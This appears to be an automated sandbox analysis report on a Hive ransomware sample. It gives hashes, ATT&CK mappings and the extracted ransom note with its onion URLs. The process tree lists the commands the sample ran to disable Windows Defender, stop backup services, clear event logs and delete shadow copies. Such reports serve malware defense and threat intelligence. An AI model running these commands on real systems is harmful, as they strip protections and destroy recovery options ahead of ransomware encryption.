Overview

overview

10

Static

static

3

2025-03-31...ch.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    141s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/03/2025, 21:29

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-03-31_73b68282286d7613e433b562a9104438_cobalt-strike_frostygoop_hive_sliver_snatch.exe

  • Size

    3.2MB

  • MD5

    73b68282286d7613e433b562a9104438

  • SHA1

    d1900a5700d8ba39c741e26d6e80baec350bce19

  • SHA256

    2deb0a4080073f15b2634309ed46e5e57474c52df92f00f81e439764a61c5e7b

  • SHA512

    f3d46b1b0f4ad48ba44b506703382133218ca8a259429483cd72bdc4498ee3bc3e610220373325c7dafab1e3a79ba5bfd13d12879faa74663171e4d40f4b241a

  • SSDEEP

    24576:BUdmG2CcX1qgUVAEmLkcXnLyKEYDCLbteVY3In1vE5iWXkBiVwMEfQDFo9VarcXf:BttVc2/nDF50Ou9C60FRlZ31D14n

Score
10/10
hivedefense_evasiondiscoveryevasionexecutionimpactransomwarespywarestealertrojan

Malware Config

Extracted

Path

C:\Program Files\7-Zip\Lang\kKwV_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: n4gDmhMJv5TD Password: CQ8Tu5vERdAMp7SJuWU6 To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.rvqwj files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Hive

    A ransomware written in Golang first seen in June 2021.

    ransomwarehive
  • Hive family
    hive
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    defense_evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-31_73b68282286d7613e433b562a9104438_cobalt-strike_frostygoop_hive_sliver_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-31_73b68282286d7613e433b562a9104438_cobalt-strike_frostygoop_hive_sliver_snatch.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5000
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4304
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4376
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SDRSVC" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4452
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SDRSVC" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4560
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SstpSvc" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4496
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SstpSvc" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4504
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "vmicvss" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1336
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "vmicvss" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2776
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "VSS" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "VSS" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4788
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "wbengine" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4772
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "wbengine" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4704
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "WebClient" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:836
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "WebClient" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5296
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "UnistoreSvc_2afad" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "UnistoreSvc_2afad" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4616
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SamSs" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4896
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SDRSVC" start= disabled
      2⤵
      • Launches sc.exe
      PID:3152
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SstpSvc" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4508
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "vmicvss" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5144
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "VSS" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2592
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "wbengine" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5408
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "WebClient" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:6072
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "UnistoreSvc_2afad" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4516
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
      2⤵
      • Modifies Security services
      • System Location Discovery: System Language Discovery
      PID:4804
    • C:\Windows\SysWOW64\reg.exe
      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1108
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • System Location Discovery: System Language Discovery
      PID:6112
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5540
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3312
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:5996
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:4160
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:5584
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:2356
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:4868
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5800
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2476
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5688
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5804
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:544
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:116
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4220
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2800
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
      2⤵
        PID:3912
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        2⤵
          PID:5976
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
          2⤵
            PID:4816
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
            2⤵
              PID:5436
            • C:\Windows\SysWOW64\reg.exe
              reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
              2⤵
              • System Location Discovery: System Language Discovery
              PID:1468
            • C:\Windows\SysWOW64\reg.exe
              reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
              2⤵
              • System Location Discovery: System Language Discovery
              PID:5016
            • C:\Windows\SysWOW64\reg.exe
              reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
              2⤵
              • System Location Discovery: System Language Discovery
              PID:1620
            • C:\Windows\SysWOW64\reg.exe
              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
              2⤵
              • System Location Discovery: System Language Discovery
              PID:5440
            • C:\Windows\SysWOW64\reg.exe
              reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
              2⤵
              • System Location Discovery: System Language Discovery
              PID:6024
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:4444
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:2508
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:5084
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies Security services
              PID:3616
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies security service
              • System Location Discovery: System Language Discovery
              PID:4028
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:4448
            • C:\Windows\SysWOW64\wevtutil.exe
              wevtutil.exe cl system
              2⤵
              • Clears Windows event logs
              • Suspicious use of AdjustPrivilegeToken
              PID:5632
            • C:\Windows\SysWOW64\wevtutil.exe
              wevtutil.exe cl security
              2⤵
              • Clears Windows event logs
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:4468
            • C:\Windows\SysWOW64\wevtutil.exe
              wevtutil.exe cl application
              2⤵
              • Clears Windows event logs
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:4504
            • C:\Windows\SysWOW64\Wbem\wmic.exe
              wmic.exe SHADOWCOPY /nointeractive
              2⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:2960
            • C:\Windows\SysWOW64\Wbem\wmic.exe
              wmic.exe shadowcopy delete
              2⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:4420
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
              2⤵
              • System Location Discovery: System Language Discovery
              PID:3712
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
              2⤵
              • System Location Discovery: System Language Discovery
              PID:6108
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableIOAVProtection $true
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:6136
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
              2⤵
              • System Location Discovery: System Language Discovery
              PID:6012
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableRealtimeMonitoring $true
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:5988
            • C:\Windows\SysWOW64\notepad.exe
              notepad.exe C:\kKwV_HOW_TO_DECRYPT.txt
              2⤵
              • System Location Discovery: System Language Discovery
              • Opens file in notepad (likely ransom note)
              PID:2088
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\2025-03-31_73b68282286d7613e433b562a9104438_cobalt-strike_frostygoop_hive_sliver_snatch.exe"
              2⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:3768
              • C:\Windows\SysWOW64\PING.EXE
                ping.exe -n 5 127.0.0.1
                3⤵
                • System Location Discovery: System Language Discovery
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:464

          Network

          MITRE ATT&CK Enterprise v15

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          PowerShell

          1
          T1059.001

          System Services

          1
          T1569

          Service Execution

          1
          T1569.002

          Windows Management Instrumentation

          1
          T1047

          Persistence

          Create or Modify System Process

          4
          T1543

          Windows Service

          4
          T1543.003

          Privilege Escalation

          Create or Modify System Process

          4
          T1543

          Windows Service

          4
          T1543.003

          Defense Evasion

          Impair Defenses

          3
          T1562

          Disable or Modify Tools

          2
          T1562.001

          Indicator Removal

          2
          T1070

          Clear Windows Event Logs

          1
          T1070.001

          File Deletion

          1
          T1070.004

          Modify Registry

          4
          T1112

          Credential Access

          Credentials from Password Stores

          1
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Unsecured Credentials

          1
          T1552

          Credentials In Files

          1
          T1552.001

          Discovery

          Remote System Discovery

          1
          T1018

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          System Network Configuration Discovery

          1
          T1016

          Internet Connection Discovery

          1
          T1016.001

          Lateral Movement

          Collection

          Data from Local System

          1
          T1005

          Command and Control

          Exfiltration

          Impact

          Inhibit System Recovery

          1
          T1490

          Service Stop

          1
          T1489

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Program Files\7-Zip\Lang\kKwV_HOW_TO_DECRYPT.txt
            Filesize

            1KB

            MD5

            58a8dba0fbb2a4f513f20d72372eb870

            SHA1

            ea6654eac929dbd88cc79883568c0abaaeaf92d9

            SHA256

            b233e19504ebb5567c59264e4314703666b5076794a04c603fc79ac669d84fe9

            SHA512

            e11fce909c220b0bd3a19e3adae0f96415521411fd8d391b1a9a3c4d8877c40c7a25846d449b22507e9ea02ae507a3e0f7b6131c0d5ffd774d932f011709ed3e

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
            Filesize

            2KB

            MD5

            968cb9309758126772781b83adb8a28f

            SHA1

            8da30e71accf186b2ba11da1797cf67f8f78b47c

            SHA256

            92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

            SHA512

            4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            18KB

            MD5

            8af64371895ad30c4d921e6f8bef4690

            SHA1

            26de901c44de54f3cd8d376300316804e73cb3da

            SHA256

            564e8dc9f9fedc334cc675877b89658d2f6946f093432a53dbc9176f17dae74d

            SHA512

            bd5237fbcc7c406d290db13bbc478e7bdcf0abc6b07744df90081dbbe595df7482c8af3db8e7915bce3f493b2289ccd4ec962f99be080194e5f2e696dea9d6dc

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oldye3em.wvp.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            Download Submit

          • memory/5988-54-0x0000000074D00000-0x0000000074D4C000-memory.dmp

            Filesize

            304KB

            Download

          • memory/6136-31-0x0000000006E40000-0x0000000006EE3000-memory.dmp

            Filesize

            652KB

            Download

          • memory/6136-35-0x00000000071C0000-0x0000000007256000-memory.dmp

            Filesize

            600KB

            Download

          • memory/6136-17-0x0000000005C20000-0x0000000005C3E000-memory.dmp

            Filesize

            120KB

            Download

          • memory/6136-18-0x0000000005C50000-0x0000000005C9C000-memory.dmp

            Filesize

            304KB

            Download

          • memory/6136-20-0x0000000074D00000-0x0000000074D4C000-memory.dmp

            Filesize

            304KB

            Download

          • memory/6136-19-0x0000000006E00000-0x0000000006E32000-memory.dmp

            Filesize

            200KB

            Download

          • memory/6136-30-0x00000000061C0000-0x00000000061DE000-memory.dmp

            Filesize

            120KB

            Download

          • memory/6136-2-0x0000000004660000-0x0000000004696000-memory.dmp

            Filesize

            216KB

            Download

          • memory/6136-33-0x0000000006F40000-0x0000000006F5A000-memory.dmp

            Filesize

            104KB

            Download

          • memory/6136-32-0x0000000007590000-0x0000000007C0A000-memory.dmp

            Filesize

            6.5MB

            Download

          • memory/6136-34-0x0000000006FC0000-0x0000000006FCA000-memory.dmp

            Filesize

            40KB

            Download

          • memory/6136-13-0x0000000005580000-0x00000000058D4000-memory.dmp

            Filesize

            3.3MB

            Download

          • memory/6136-36-0x0000000007140000-0x0000000007151000-memory.dmp

            Filesize

            68KB

            Download

          • memory/6136-37-0x0000000007170000-0x000000000717E000-memory.dmp

            Filesize

            56KB

            Download

          • memory/6136-38-0x0000000007180000-0x0000000007194000-memory.dmp

            Filesize

            80KB

            Download

          • memory/6136-39-0x0000000007280000-0x000000000729A000-memory.dmp

            Filesize

            104KB

            Download

          • memory/6136-40-0x0000000007260000-0x0000000007268000-memory.dmp

            Filesize

            32KB

            Download

          • memory/6136-5-0x0000000004CF0000-0x0000000004D56000-memory.dmp

            Filesize

            408KB

            Download

          • memory/6136-6-0x0000000005510000-0x0000000005576000-memory.dmp

            Filesize

            408KB

            Download

          • memory/6136-4-0x0000000004C50000-0x0000000004C72000-memory.dmp

            Filesize

            136KB

            Download

          • memory/6136-3-0x0000000004D70000-0x0000000005398000-memory.dmp

            Filesize

            6.2MB

            Download